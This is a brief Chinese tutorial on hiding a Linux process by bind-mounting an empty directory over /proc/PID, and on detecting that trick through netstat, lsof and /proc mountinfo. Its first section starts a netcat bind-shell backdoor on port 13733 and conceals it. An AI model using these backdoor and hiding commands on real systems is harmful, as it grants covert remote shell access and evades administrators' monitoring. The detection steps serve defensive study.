Linux进程隐藏与检测

1. 运行后门
nohup nc -l -p 13733 -e /bin/sh&

2.
ps aux |grep ‘/bin/sh’ 查找进程PID
mkdir /tmp/empty
mount –bind /tmp/empty /proc/进程PID

3.
cat /proc/$$/mountinfo 查看隐藏进程
cat /proc/mounts
mount

4. 接触隐藏
umount /proc/进程PID

入侵检测之隐藏进程检测

1。
[ blackarch ~ ]# netstat -tulnp
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:13733 0.0.0.0:* LISTEN –

2.
[ blackarch ~ ]# lsof -i:13733

无结果打印

3.
[ blackarch ~ ]#cat /proc/$$/mountinfo

263 20 0:42 /empty /proc/5644 rw,nosuid,nodev shared:29 – tmpfs tmpfs rw
发现可疑挂在信息。进程PID5644 挂载点/empty

4.
umount /proc/5644 解除进程挂载

5.
[ blackarch ~ ]# ps aux |grep 5644
root 5644 0.0 0.0 2404 1580 pts/13 S+ 11:08 0:00 nc -l -p 13733 -e /bin/sh
root 5926 0.0 0.0 5088 920 pts/2 S+ 11:21 0:00 grep 5644